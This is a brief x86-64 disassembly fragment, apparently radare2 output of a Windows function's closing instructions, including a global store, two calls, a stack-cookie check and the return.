mov qword [rbx], rax
mov qword [0x14007b628], rbx
lea rcx, [0x14007b620]
call fcn.14002c660
mov rax, qword [0x14007b628]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0xb0
pop rbx
ret